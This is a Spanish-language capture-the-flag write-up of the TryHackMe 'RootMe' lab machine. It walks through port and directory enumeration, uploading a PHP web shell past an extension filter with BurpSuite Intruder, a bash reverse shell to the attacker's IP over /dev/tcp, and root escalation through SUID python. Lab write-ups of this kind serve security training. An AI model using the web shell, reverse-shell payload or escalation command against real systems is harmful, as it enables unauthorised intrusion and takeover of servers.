TryHackMe - RootMe
Introducción
En la maquina de hoy estaremos tocando los siguientes temas:
Enumeración Web
File Upload
Subiendo archivo con BurpSuite (Intruder)
Abusando de binario SUID (python)
Link máquina

Reconocimiento
Comprobamos que tengamos conexión con la máquina victima.
Ping
ping -c 1 10.10.161.60
PING 10.10.161.60 (10.10.161.60) 56(84) bytes of data.
64 bytes from 10.10.161.60: icmp_seq=1 ttl=63 time=48.5 ms
--- 10.10.161.60 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 48.471/48.471/48.471/0.000 ms
Con el TTL podemos saber que nos enfrentamos a una máquina Linux, ya que es ttl=63, asà que es lo más cercano al 64 que es de Linux.
¿Cuales son los TTLs por defecto en los S.O?
Linux --> 64
Windows --> 128
Solaris/AIX -->254
Igualmente el TTL se puede modificar asà que no es 100% fiable.
Nmap
# Nmap 7.93 scan initiated Fri Mar 31 11:26:38 2023 as: nmap -sSCV -p- --open --min-rate 4000 -v -n -Pn -oN nmapScan 10.10.161.60
Nmap scan report for 10.10.161.60
Host is up (0.049s latency).
Not shown: 65527 closed tcp ports (reset), 6 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 4ab9160884c25448ba5cfd3f225f2214 (RSA)
| 256 a9a686e8ec96c3f003cd16d54973d082 (ECDSA)
|_ 256 22f6b5a654d9787c26035a95f3f9dfcd (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-title: HackIT - Home
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Mar 31 11:27:05 2023 -- 1 IP address (1 host up) scanned in 26.64 seconds
-sS
Escaneo SYN Port scan, agiliza el escaneo
-sC
Para que envÃe unos scripts básicos de reconocimiento que tiene Nmap en lua
-sV
Para que los puertos que encuentre abiertos nos muestre las versiones
-p-
Escanee todo el rango de puertos, que en total hay 65535
--open
Solo los puertos abiertos
--min-rate
Que no envÃe paquetes más lentos que X
-v
Verbose, que muestre por pantalla los puertos que vaya encontrando antes de acabar el escaneo
-n
Para que no haga resolución DNS
-Pn
Para que no haga Host Discovery
-oN
Que el escaneo actual lo ponga en X archivo en formato normal (nmap).
Encontramos los siguientes puertos
22 --> OpenSSH 7.6p1
80 --> Apache httpd 2.4.29
Enumeración
Puerto 80
En el código fuente no encontramos gran cosa

Fuzzing con wfuzz
wfuzz -c --hc=404 -t 400 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://10.10.161.60/FUZZ
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.10.161.60/FUZZ
Total requests: 220560
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000001: 200 25 L 44 W 616 Ch "# directory-list-2.3-medium.txt"
000000003: 200 25 L 44 W 616 Ch "# Copyright 2007 James Fisher"
000000007: 200 25 L 44 W 616 Ch "# license, visit http://creativecommons.org/licenses/by-sa/3.0/"
000000550: 301 9 L 28 W 310 Ch "css"
000000014: 200 25 L 44 W 616 Ch "http://10.10.161.60/"
000000008: 200 25 L 44 W 616 Ch "# or send a letter to Creative Commons, 171 Second Street,"
000000012: 200 25 L 44 W 616 Ch "# on at least 2 different hosts"
000000004: 200 25 L 44 W 616 Ch "#"
000000002: 200 25 L 44 W 616 Ch "#"
000000005: 200 25 L 44 W 616 Ch "# This work is licensed under the Creative Commons"
000000011: 200 25 L 44 W 616 Ch "# Priority ordered case-sensitive list, where entries were found"
000000009: 200 25 L 44 W 616 Ch "# Suite 300, San Francisco, California, 94105, USA."
000000010: 200 25 L 44 W 616 Ch "#"
000000006: 200 25 L 44 W 616 Ch "# Attribution-Share Alike 3.0 License. To view a copy of this"
000000013: 200 25 L 44 W 616 Ch "#"
000000953: 301 9 L 28 W 309 Ch "js"
000005520: 301 9 L 28 W 312 Ch "panel"
000000164: 301 9 L 28 W 314 Ch "uploads"
000045240: 200 25 L 44 W 616 Ch "http://10.10.161.60/"
-c
Formato coloreado
--hc
Que no muestre el código que le establezcas [Ej: --hc=404,403)
-t
Numero de hilos
-w
Wordlist
-u
URL
Encontramos 2 directorios que pueden ser interesantes:
Panel
Uploads
Panel
Encontramos un panel para subir ficheros a la máquina victima

Uploads
Parece que se pueden listar los archivos que podemos subir.

Explotación
Vamos a subir un archivo .php con el siguiente código:
<?php
echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
?>
BurpSuite
Vamos a utilizar BurpSuite para interceptar la petición y probar con varias extensiones por si esta sanitizado.
Intercept -> Ctrl + I para mandarlo al intruder.
Añadimos la extensión .php a "Add"

En payloads ponemos las siguientes extensiones
php
php3
phar
phtml

En Config --> Grep - Extract le damos a Refetch response y vamos a donde sale el error o validación de que el archivo se ha subido y lo seleccionamos

Y como vemos en la imagen, ha funcionado con las extensiones, php3,phar y phtml.


Abrimos file.phar y comprobamos que funcione los comandos:

Reverse Shell
Nos ponemos en escucha en nuestra máquina en el puerto 443
nc -lvnp 443
Nos mandamos la reverse shell
10.10.161.60/uploads/file.phar?cmd=bash -c "bash -i >%26 /dev/tcp/10.18.9.85/443 0>%261"

Escalada de Privilegios
Enumeración básica sistema
Comandos ejecutados
id
uname -a
lsb_release -a
No encontramos nada
www-data@rootme:/$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@rootme:/$ uname -a
Linux rootme 4.15.0-112-generic #113-Ubuntu SMP Thu Jul 9 23:41:39 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
www-data@rootme:/$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 18.04.4 LTS
Release: 18.04
Codename: bionic
www-data@rootme:/$ cat /etc/passwd | grep "sh$"
root:x:0:0:root:/root:/bin/bash
rootme:x:1000:1000:RootMe:/home/rootme:/bin/bash
test:x:1001:1001:,,,:/home/test:/bin/bash
www-data@rootme:/$
Solamente listamos los siguientes usuarios:
Root
Rootme
Test
Buscando privilegios sudo y suid
Comandos ejecutados
sudo -l
find / -user root -perm -4000 2>/dev/null
No tenemos ningún permiso sudo.
Sudo -l
www-data@rootme:/$ find / -user root -perm -4000 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/bin/traceroute6.iputils
/usr/bin/newuidmap
/usr/bin/newgidmap
/usr/bin/chsh
/usr/bin/python
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/sudo
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/pkexec
/snap/core/8268/bin/mount
/snap/core/8268/bin/ping
/snap/core/8268/bin/ping6
/snap/core/8268/bin/su
/snap/core/8268/bin/umount
/snap/core/8268/usr/bin/chfn
/snap/core/8268/usr/bin/chsh
/snap/core/8268/usr/bin/gpasswd
/snap/core/8268/usr/bin/newgrp
/snap/core/8268/usr/bin/passwd
/snap/core/8268/usr/bin/sudo
/snap/core/8268/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core/8268/usr/lib/openssh/ssh-keysign
/snap/core/8268/usr/lib/snapd/snap-confine
/snap/core/8268/usr/sbin/pppd
/snap/core/9665/bin/mount
/snap/core/9665/bin/ping
/snap/core/9665/bin/ping6
/snap/core/9665/bin/su
/snap/core/9665/bin/umount
/snap/core/9665/usr/bin/chfn
/snap/core/9665/usr/bin/chsh
/snap/core/9665/usr/bin/gpasswd
/snap/core/9665/usr/bin/newgrp
/snap/core/9665/usr/bin/passwd
/snap/core/9665/usr/bin/sudo
/snap/core/9665/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core/9665/usr/lib/openssh/ssh-keysign
/snap/core/9665/usr/lib/snapd/snap-confine
/snap/core/9665/usr/sbin/pppd
/bin/mount
/bin/su
/bin/fusermount
/bin/ping
/bin/umount
Encontramos un binario que tiene SUID
/usr/bin/python
Nos dirigimos a GTFOBINS y vemos que python con el permisos SUID podemos hacer lo siguiente:
./python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
Si ejecutamos esto en la máquina nos dará una shell como root.
Despedida
Para mi fue una máquina muy interesante que me ayudo a reforzar el File Upload y aprender bien como realizar un ataque con el Intruder en BurpSuite, fue una máquina divertida aunque bastante fácil.
¡Espero que os haya gustado!
Last updated